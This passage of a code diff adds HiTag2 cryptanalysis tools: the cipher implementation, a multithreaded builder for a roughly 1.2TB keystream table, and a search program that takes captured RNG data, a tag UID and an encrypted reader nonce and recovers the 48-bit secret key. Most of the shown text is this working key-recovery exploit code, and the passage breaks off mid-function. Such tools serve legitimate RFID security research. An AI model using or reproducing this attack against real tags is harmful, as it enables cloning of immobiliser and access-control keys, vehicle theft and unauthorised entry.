hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + // highest 16 bits of IV XOR Shared Key + state |= (uint64_t) initvector << 47; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state ^= (uint64_t) hitag2_crypt(state) << 47; + + DEBUG_PRINTF("hitag2_init result = %012I64x\n", state); + pstate->shiftreg = state; + /* naive version for reference, LFSR has 16 taps + pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6) + ^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22) + ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47); + */ + { + // optimise with one 64-bit intermediate + uint64_t temp = state ^ (state >> 1); + pstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); + } +} + + +/* + * Return up to 32 crypto bits. + * Last bit is in least significant bit, earlier bits are shifted left. + * Note that the Hitag transmission protocol is least significant bit, + * so we may want to change this, or add a function, that returns the + * crypto output bits in the other order. + * + * Parameters: + * Hitag_State* pstate - in/out, internal cipher state after initialisation + * uint32_t steps - number of bits requested, (capped at 32) + */ +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps) +{ + uint64_t state = pstate->shiftreg; + uint32_t result = 0; + uint64_t lfsr = pstate->lfsr; + + if (steps == 0) + return 0; + +// commented out the restriction on number of steps so we can step further in one go. +// this still only returns 32 bits obviously +// if (steps > 32) +// steps = 32; + + do { + // update shift registers + if (lfsr & 1) { + state = (state >> 1) | 0x800000000000; + lfsr = (lfsr >> 1) ^ 0xB38083220073; + + // accumulate next bit of crypto + result = (result << 1) | hitag2_crypt(state); + } else { + state >>= 1; + lfsr >>= 1; + + result = (result << 1) | hitag2_crypt(state); + } + } while (--steps); + + DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result); + pstate->shiftreg = state; + pstate->lfsr = lfsr; + return result; +} + +// end of crypto core, revert to default optimization level +//#pragma GCC reset_options + + +/* Test code + + Test data and below information about it comes from + http://www.mikrocontroller.net/attachment/102194/hitag2.c + Written by "I.C. Wiener 2006-2007" + + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key + Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear + Random = 65 6E 45 72 - Random IV, transmitted in clear + ~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream + + The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6". + The inverse of the first 4 bytes is sent to the tag to authenticate. + The rest is encrypted by XORing it with the subsequent keystream. + +*/ + + +/* +unsigned int hitag2_benchtest_gen32() +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + + // init crypto + hitag2_init(&state, key, serial, initvec); + + // benchmark: generation of 32 bit stream (excludes initialisation) + GetTimer_us(RESET); + + (void) hitag2_nstep(&state, 32); + + return GetTimer_us(NO_RESET); +} + + +unsigned int hitag2_benchtest(uint32_t count) +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + uint32_t i; + + // start timer + GetTimer_us(RESET); + + // benchmark: initialise crypto & generate 32 bit authentication + // adding i stops gcc optimizer moving init function call out of loop + for (i = 0; i < count; i++) { + hitag2_init(&state, key, serial, initvec + i); + (void) hitag2_nstep(&state, 32); + } + + return GetTimer_us(NO_RESET); +} + + +unsigned hitag2_verifytest() +{ + uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 }; + // key = 0x4ad292b272f2 after each byte has its bit order reversed + // serial = 0x96eac292 ditto + // initvec = 0x4ea276a6 ditto + const uint64_t key = rev64 (0x524B494D4E4FUL); + const uint32_t serial = rev32 (0x69574349); + const uint32_t initvec = rev32 (0x72456E65); + + uint32_t i; + Hitag_State state; + + // initialise + hitag2_init(&state, key, serial, initvec); + + for (i = 0; i < 16; i++) { + // get 8 bits of keystream + uint8_t x = (uint8_t) hitag2_nstep(&state, 8); + uint8_t y = expected[i]; + + DEBUG_PRINTF ("%02X (%02X) \n", x, y); + if (x != y) + return 0; + } + + return 1; +} +*/ + +#ifdef UNIT_TEST + +int main(int argc, char* argv[]) +{ + unsigned pass = hitag2_verifytest(); + + printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL"); + + if (pass) { + hitag2_benchtest(10000); + } + + return 0; +} + +#endif // UNIT_TEST diff --git a/tools/hitag2crack/crack2/hitagcrypto.h b/tools/hitag2crack/crack2/hitagcrypto.h new file mode 100644 index 000000000..d5aa9104c --- /dev/null +++ b/tools/hitag2crack/crack2/hitagcrypto.h @@ -0,0 +1,171 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + + +#ifndef HITAGCRYPTO_H +#define HITAGCRYPTO_H + +#include + +/* + Our model of Hitag 2 crypto uses 2 parallel shift registers: + a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function. + b. 48 bit Linear Feedback Shift Register (LFSR). + A transform of initial register (a) value, which is then run in parallel. + Enables much faster calculation of the feedback values. + + API: + void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, + uint32_t initvector); + Initialise state from 48 bit shared (secret) reader/tag key, + 32 bit tag serial number and 32 bit initialisation vector from reader. + + uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + update shift register state and generate N cipher bits (N should be <= 32) + */ + + +typedef struct { + uint64_t shiftreg; // naive shift register, required for nonlinear fn input + uint64_t lfsr; // fast lfsr, used to make software faster +} Hitag_State; + +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector); + +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + +unsigned int hitag2_benchtest_gen32(); +unsigned int hitag2_benchtest(uint32_t count); +unsigned hitag2_verifytest(); + +#endif /* HITAGCRYPTO_H */ + diff --git a/tools/hitag2crack/crack2/ht2crack2buildtable.c b/tools/hitag2crack/crack2/ht2crack2buildtable.c new file mode 100644 index 000000000..402c5b245 --- /dev/null +++ b/tools/hitag2crack/crack2/ht2crack2buildtable.c @@ -0,0 +1,561 @@ +/* + * ht2crack2buildtable.c + * This builds the 1.2TB table and sorts it. + */ + +#include "ht2crack2utils.h" + + +// DATAMAX is the size of each bucket (bytes). There are 65536 buckets so choose a value such that +// DATAMAX * 65536 < RAM available. For ex, if you want to use 12GB of RAM (for a 16GB machine +// leaving some RAM free for OS and other stuff), DATAMAX = 12GB / 65536 = 196608. Round this down +// to a power of 10; DATAMAX = 196600. +#define DATAMAX 196600 // around 192K rounded down to a power of 10 + +// NUM_BUILD_THREADS and NUM_SORT_THREADS are the number of threads to run concurrently. These should +// ideally be equal to the number of virtual cores you have available. A quad-core machine will +// likely have 8 virtual cores, so set them to 8. +// +// If sorting fails with a 'bus error' then that is likely because your disk I/O can't keep up with +// the read/write demands of the multi-threaded sorting. In this case, reduce the number of sorting +// threads. This will most likely only be a problem with network disks; SATA should be okay; +// USB2/3 should keep up. +// +// These MUST be a power of 2 for the maths to work - you have been warned! +// Also, sort threads MUST be <= build threads or a horrible buffer overflow will happen! +#define NUM_BUILD_THREADS 8 +#define NUM_SORT_THREADS 8 + +// DATASIZE is the number of bytes in an entry. This is 10; 4 bytes of keystream (2 are in the filepath) + +// 6 bytes of PRNG state. +#define DATASIZE 10 + +int debug = 0; + +// table entry for a bucket +struct table { + char path[32]; + pthread_mutex_t mutex; + unsigned char *data; + unsigned char *ptr; +}; + + +// actual table +struct table *t; + +// jump table 1 +uint64_t d[48]; +int nsteps; + +// jump table 2 +uint64_t d2[48]; +int nsteps2; + +// create table entry +void create_table(struct table *t, int d1, int d2) +{ + if (!t) { + printf("create_table: t is NULL\n"); + exit(1); + } + + // create some space + t->data = (unsigned char *)malloc(DATAMAX); + if (!(t->data)) { + printf("create_table: cannot malloc data\n"); + exit(1); + } + + // set data ptr to start of data table + t->ptr = t->data; + + // init the mutex + if (pthread_mutex_init(&(t->mutex), NULL)) { + printf("create_table: cannot init mutex\n"); + exit(1); + } + + // create the path +// sprintf(t->path, "/Volumes/2tb/%02X/%02X.bin", d1 & 0xff, d2 & 0xff); + sprintf(t->path, "table/%02x/%02x.bin", d1 & 0xff, d2 & 0xff); +} + + +// create all table entries +void create_tables(struct table *t) +{ + int i, j; + + if (!t) { + printf("create_tables: t is NULL\n"); + exit(1); + } + + for (i=0; i<0x100; i++) { + for (j=0; j<0x100; j++) { + create_table(t + ((i * 0x100) + j), i, j); + } + } +} + + +// free the table memory +void free_tables(struct table *t) +{ + int i; + struct table *ttmp; + + if (!t) { + printf("free_tables: t is NULL\n"); + exit(1); + } + + for (i=0; i<0x10000; i++) { + ttmp = t + i; + free(ttmp->data); + } +} + + + +// write (partial) table to file +void writetable(struct table *t1) +{ + int fd; + + if (debug) printf("writetable %s\n", t1->path); + + fd = open(t1->path, O_WRONLY | O_CREAT | O_APPEND, 0644); + if (fd <= 0) { + printf("writetable cannot open file %s for appending\n", t1->path); + exit(1); + } + + if (debug) printf("writetable %s opened\n", t1->path); + + if (write(fd, t1->data, t1->ptr - t1->data) < (t1->ptr - t1->data)) { + printf("writetable cannot write all of the data\n"); + exit(1); + } + + if (debug) printf("writetable %s written\n", t1->path); + + close(fd); +} + + +// store value in table +void store(unsigned char *data) +{ + unsigned char d1, d2; + int offset; + struct table *t1; + + // use the first two bytes as an index + d1 = data[0]; + d2 = data[1]; + offset = (d1 * 0x100) + d2; + + if (debug) printf("store, d1=%02X, d2=%02X, offset = %d\n", d1, d2, offset); + + // get pointer to table entry + t1 = t + offset; + + // wait for a lock on this entry + if (pthread_mutex_lock(&(t1->mutex))) { + printf("store: cannot lock mutex at offset %d\n", offset); + exit(1); + } + + if (debug) printf("store, offset = %d, got lock\n", offset); + + // store the entry + memcpy(t1->ptr, data+2, 10); + + if (debug) printf("store, offset = %d, copied data\n", offset); + + // update the ptr + t1->ptr += 10; + + // check if table is full + if ((t1->ptr - t1->data) >= DATAMAX) { + // write the table to disk + writetable(t1); + // reset ptr + t1->ptr = t1->data; + } + + if (debug) printf("store, offset = %d, after possible write\n", offset); + + // release the lock + if (pthread_mutex_unlock(&(t1->mutex))) { + printf("store: cannot unlock mutex at offset %d\n", offset); + exit(1); + } + + if (debug) printf("store, offset = %d, unlocked\n", offset); + +} + +// writes the ks (keystream) and s (state) +void write_ks_s(uint32_t ks1, uint32_t ks2, uint64_t shiftreg) +{ + unsigned char buf[16]; + + // create buffer + writebuf(buf, ks1, 3); + writebuf(buf+3, ks2, 3); + writebuf(buf+6, shiftreg, 6); + + // store buffer + store(buf); + +} + + +// builds the di table for jumping +void builddi(int steps, int table) +{ + uint64_t statemask; + int i; + Hitag_State mystate; + uint64_t *thisd = NULL; + + statemask = 1; + + // select jump table + if (table == 1) { + nsteps = steps; + thisd = d; + } else if (table == 2) { + nsteps2 = steps; + thisd = d2; + } else { + printf("builddi: invalid table num\n"); + exit(1); + } + + // build di states + for (i=0; i<48; i++) { + mystate.shiftreg = statemask; + buildlfsr(&mystate); + hitag2_nstep(&mystate, steps); + thisd[i] = mystate.shiftreg; + + statemask = statemask << 1; + } +} + +// jump function - quickly jumps a load of steps +void jumpnsteps(Hitag_State *hstate, int table) +{ + uint64_t output = 0; + uint64_t bitmask; + int i; + uint64_t *thisd = NULL; + + + // select jump table + if (table == 1) { + thisd = d; + } else if (table == 2) { + thisd = d2; + } else { + printf("jumpnsteps: invalid table num\n"); + exit(1); + } + + // xor all di.si where di is a d state and si is a bit + // we do this by multiplying di by si: + // if si is 1, di.si = di; if si is 0, di.si = 0 + + bitmask = 1; + for (i=0; i<48; i++) { + if (hstate->shiftreg & bitmask) { + output = output ^ thisd[i]; + } + + bitmask = bitmask << 1; + } + + hstate->shiftreg = output; + buildlfsr(hstate); +} + + +// thread to build a part of the table +void *buildtable(void *d) +{ + Hitag_State hstate; + Hitag_State hstate2; + unsigned long i; + unsigned long maxentries = 1; + uint32_t ks1; + uint32_t ks2; + int index = (int)(long)d; + int tnum = NUM_BUILD_THREADS; + + /* set random state */ + hstate.shiftreg = 0x123456789abc; + buildlfsr(&hstate); + + /* jump to offset using jump table 2 (2048) */ + for (i=0; i> 1; + tnum = tnum >> 1; + } + + /* make the entries */ + for (i=0; iptr > t1->data) { + writetable(t1); + } + } + + // dump the memory + free_tables(t); + free(t); + + + + // now for the sorting + + + // start the threads + for (i=0; i 32)) { + printf("makerandom: len must be between 1 and 32 inclusive\n"); + exit(1); + } + + if (read(fd, raw, len) != len) { + printf("makerandom: cannot read random bytes\n"); + exit(1); + } + + for (i=0; ilen = filestat.st_size / 2; +// printf("r->len = %d\n", r->len); + + r->data = (unsigned char *)malloc(r->len); + if (!(r->data)) { + printf("cannot malloc\n"); + exit(1); + } + + j = 0; + nibble = 0; + for (i=0; (ilen); i++) { + if ((data[i] != 0x0a) && (data[i] != 0x0d) && (data[i] != 0x20)) { + if (!nibble) { + r->data[j] = hex2bin(data[i]) << 4; + nibble = 1; + } else { + r->data[j] |= hex2bin(data[i]); + nibble = 0; + j++; + } + } + } + + r->len = j; + + munmap(data, filestat.st_size); + close(fd); + + return 1; +} + +int makecand(unsigned char *c, struct rngdata *r, int bitoffset) +{ + int bytenum; + int bitnum; + int i; + + if (!c || !r || (bitoffset > ((r->len * 8) - 48))) { + printf("makecand: invalid params\n"); + return 0; + } + + bytenum = bitoffset / 8; + bitnum = bitoffset % 8; + + for (i=0; i<6; i++) { + if (!bitnum) { + c[i] = r->data[bytenum + i]; + } else { + c[i] = (r->data[bytenum + i] << bitnum) | (r->data[bytenum + i + 1] >> (8 - bitnum)); + } + } + + return 1; +} + + +// test the candidate against the next or previous rng data +int testcand(unsigned char *f, unsigned char *rt, int fwd) +{ + Hitag_State hstate; + int i; + uint32_t ks1; + uint32_t ks2; + unsigned char buf[6]; + + // build the prng state at the candidate + hstate.shiftreg = 0; + for (i=0; i<6; i++) { + hstate.shiftreg = (hstate.shiftreg << 8) | f[i+4]; + } + buildlfsr(&hstate); + + if (fwd) { + // roll forwards 48 bits + hitag2_nstep(&hstate, 48); + } else { + // roll backwards 48 bits + rollback(&hstate, 48); + buildlfsr(&hstate); + } + + // get 48 bits of RNG from the rolled to state + ks1 = hitag2_nstep(&hstate, 24); + ks2 = hitag2_nstep(&hstate, 24); + + writebuf(buf, ks1, 3); + writebuf(buf+3, ks2, 3); + + // compare them + if (!memcmp(buf, rt, 6)) { + return 1; + } else { + return 0; + } +} + +int searchcand(unsigned char *c, unsigned char *rt, int fwd, unsigned char *m, unsigned char *s) +{ + int fd; + struct stat filestat; + char file[64]; + unsigned char *data; + unsigned char item[10]; + unsigned char *found = NULL; + + + if (!c || !rt || !m || !s) { + printf("searchcand: invalid params\n"); + return 0; + } + + sprintf(file, INPUTFILE, c[0], c[1]); + + fd = open(file, O_RDONLY); + if (fd <= 0) { + printf("cannot open table file %s\n", file); + exit(1); + } + + if (fstat(fd, &filestat)) { + printf("cannot stat file %s\n", file); + exit(1); + } + + data = mmap((caddr_t)0, filestat.st_size, PROT_READ, MAP_PRIVATE, fd, 0); + if (data == MAP_FAILED) { + printf("cannot mmap file %s\n", file); + exit(1); + } + + memcpy(item, c+2, 4); + + found = (unsigned char *)bsearch(item, data, filestat.st_size / DATASIZE, DATASIZE, datacmp); + + if (found) { + + // our candidate is in the table + // go backwards and see if there are other matches + while (((found - data) >= DATASIZE) && (!memcmp(found - DATASIZE, item, 4))) { + found = found - DATASIZE; + } + + // now test all matches + while (((found - data) <= (filestat.st_size - DATASIZE)) && (!memcmp(found, item, 4))) { + if (testcand(found, rt, fwd)) { + memcpy(m, c, 2); + memcpy(m+2, found, 4); + memcpy(s, found+4, 6); + + munmap(data, filestat.st_size); + close(fd); + return 1; + } + + found = found + DATASIZE; + } + } + + munmap(data, filestat.st_size); + close(fd); + + return 0; + +} + +int findmatch(struct rngdata *r, unsigned char *outmatch, unsigned char *outstate, int *bitoffset) +{ + int i; + int bitlen; + unsigned char cand[6]; + unsigned char rngtest[6]; + int fwd; + + if (!r || !outmatch || !outstate || !bitoffset) { + printf("findmatch: invalid params\n"); + return 0; + } + + bitlen = r->len * 8; + + for (i=0; i<=bitlen - 48; i++) { + // print progress + if ((i % 100) == 0) { + printf("searching on bit %d\n", i); + } + + if (!makecand(cand, r, i)) { + printf("cannot makecand, %d\n", i); + return 0; + } +// printf("cand: %02x %02x %02x %02x %02x %02x : ", cand[0], cand[1], cand[2], cand[3], cand[4], cand[5]); +// printbin(cand); + + /* make following or preceding RNG test data to confirm match */ + if (i < (bitlen - 96)) { + if (!makecand(rngtest, r, i + 48)) { + printf("cannot makecand rngtest %d + 48\n", i); + return 0; + } + fwd = 1; + } else { + if (!makecand(rngtest, r, i - 48)) { + printf("cannot makecand rngtest %d - 48\n", i); + return 0; + } + fwd = 0; + } + + if (searchcand(cand, rngtest, fwd, outmatch, outstate)) { + *bitoffset = i; + return 1; + } + } + + return 0; +} + + + + +void rollbackrng(Hitag_State *hstate, unsigned char *s, int offset) +{ + int i; + + if (!s) { + printf("rollbackrng: invalid params\n"); + return; + } + + // build prng at recovered offset + hstate->shiftreg = 0; + for (i=0; i<6; i++) { + hstate->shiftreg = (hstate->shiftreg << 8) | s[i]; + } + + printf("recovered prng state at offset %d:\n", offset); + printstate(hstate); + + // rollback to state after auth + rollback(hstate, offset); + + // rollback through auth (aR, p3) + rollback(hstate, 64); + + printf("prng state after initialisation:\n"); + printstate(hstate); + + +} + +uint64_t recoverkey(Hitag_State *hstate, char *uidstr, char *nRstr) +{ + uint64_t key; + uint64_t keyupper; + uint32_t uid; + uint32_t uidtmp; + uint32_t nRenc; + uint32_t nR; + uint32_t nRxork; + uint32_t b = 0; + int i; + + // key lower 16 bits are lower 16 bits of prng state + key = hstate->shiftreg & 0xffff; + nRxork = (hstate->shiftreg >> 16) & 0xffffffff; + uid = rev32(hexreversetoulong(uidstr)); + nRenc = rev32(hexreversetoulong(nRstr)); + + uidtmp = uid; + // rollback and extract bits b + for (i=0; i<32; i++) { + hstate->shiftreg = ((hstate->shiftreg) << 1) | ((uidtmp >> 31) & 0x1); + uidtmp = uidtmp << 1; + b = (b << 1) | fnf(hstate->shiftreg); + } + + printf("end state:\n"); + printstate(hstate); + printf("b:\t\t"); + printbin2(b, 32); + printf("\n"); + printf("nRenc:\t\t"); + printbin2(nRenc, 32); + printf("\n"); + + nR = nRenc ^ b; + + printf("nR:\t\t"); + printbin2(nR, 32); + printf("\n"); + + keyupper = nRxork ^ nR; + key = key | (keyupper << 16); + printf("key:\t\t"); + printbin2(key, 48); + printf("\n"); + + return key; +} + + +int main(int argc, char *argv[]) +{ + Hitag_State hstate; + struct rngdata rng; + int bitoffset = 0; + unsigned char rngmatch[6]; + unsigned char rngstate[6]; + char *uidstr; + char *nRstr; + uint64_t keyrev; + uint64_t key; + int i; + + if (argc < 4) { + printf("ht2crack2search rngdatafile UID nR\n"); + exit(1); + } + + if (!loadrngdata(&rng, argv[1])) { + printf("loadrngdata failed\n"); + exit(1); + } + + if (!strncmp(argv[2], "0x", 2)) { + uidstr = argv[2] + 2; + } else { + uidstr = argv[2]; + } + + if (!strncmp(argv[3], "0x", 2)) { + nRstr = argv[3] + 2; + } else { + nRstr = argv[3]; + } + + + if (!findmatch(&rng, rngmatch, rngstate, &bitoffset)) { + printf("couldn't find a match\n"); + exit(1); + } + + printf("found match:\n"); + printf("rngmatch = %02x %02x %02x %02x %02x %02x\n", rngmatch[0], rngmatch[1], rngmatch[2], rngmatch[3], rngmatch[4], rngmatch[5]); + printf("rngstate = %02x %02x %02x %02x %02x %02x\n", rngstate[0], rngstate[1], rngstate[2], rngstate[3], rngstate[4], rngstate[5]); + printf("bitoffset = %d\n", bitoffset); + + rollbackrng(&hstate, rngstate, bitoffset); + + keyrev = recoverkey(&hstate, uidstr, nRstr); + key = rev64(keyrev); + + printf("keyrev:\t\t"); + printbin2(key, 48); + printf("\n"); + + printf("KEY:\t\t"); + for (i=0; i<6; i++) { + printf("%02X", (int)(key & 0xff)); + key = key >> 8; + } + printf("\n"); + + return 0; + +} + + diff --git a/tools/hitag2crack/crack2/ht2crack2utils.c b/tools/hitag2crack/crack2/ht2crack2utils.c new file mode 100644 index 000000000..2152f8ef3 --- /dev/null +++ b/tools/hitag2crack/crack2/ht2crack2utils.c @@ -0,0 +1,187 @@ +#include "ht2crack2utils.h" + +// writes a value into a buffer as a series of bytes +void writebuf(unsigned char *buf, uint64_t val, unsigned int len) +{ + int i; + char c; + + for (i=len-1; i>=0; i--) + { + c = val & 0xff; + buf[i] = c; + val = val >> 8; + } + +} + + +/* simple hexdump for testing purposes */ +void shexdump(unsigned char *data, int data_len) +{ + int i; + + if (!data || (data_len <= 0)) { + printf("shexdump: invalid parameters\n"); + return; + } + + printf("Hexdump from %p:\n", data); + + for (i=0; i> 7); + x = x << 1; + } + } + printf("\n"); +} + + +void printbin2(uint64_t val, unsigned int size) +{ + int i; + uint64_t mask = 1; + + mask = mask << (size - 1); + + for (i=0; ishiftreg, 48); + printf("\n"); +} + + + + +// convert hex char to binary +unsigned char hex2bin(unsigned char c) +{ + if ((c >= '0') && (c <= '9')) { + return (c - '0'); + } else if ((c >= 'a') && (c <= 'f')) { + return (c - 'a' + 10); + } else if ((c >= 'A') && (c <= 'F')) { + return (c - 'A' + 10); + } else { + return 0; + } +} + +// return a single bit from a value +int bitn(uint64_t x, int bit) +{ + uint64_t bitmask = 1; + + bitmask = bitmask << bit; + + if (x & bitmask) { + return 1; + } else { + return 0; + } +} + + +// the sub-function R that rollback depends upon +int fnR(uint64_t x) +{ + // renumbered bits because my state is 0-47, not 1-48 + return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^ + bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^ + bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47)); +} + +// the rollback function that lets us go backwards in time +void rollback(Hitag_State *hstate, unsigned int steps) +{ + int i; + + for (i=0; ishiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg); + } + +} + + +// the three filter sub-functions that feed fnf +int fa(unsigned int i) +{ + return bitn(0x2C79, i); +} + +int fb(unsigned int i) +{ + return bitn(0x6671, i); +} + +int fc(unsigned int i) +{ + return bitn(0x7907287B, i); +} + +// the filter function that generates a bit of output from the prng state +int fnf(uint64_t s) +{ + unsigned int x1, x2, x3, x4, x5, x6; + + x1 = (bitn(s, 2) << 0) | (bitn(s, 3) << 1) | (bitn(s, 5) << 2) | (bitn(s, 6) << 3); + x2 = (bitn(s, 8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3); + x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3); + x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | 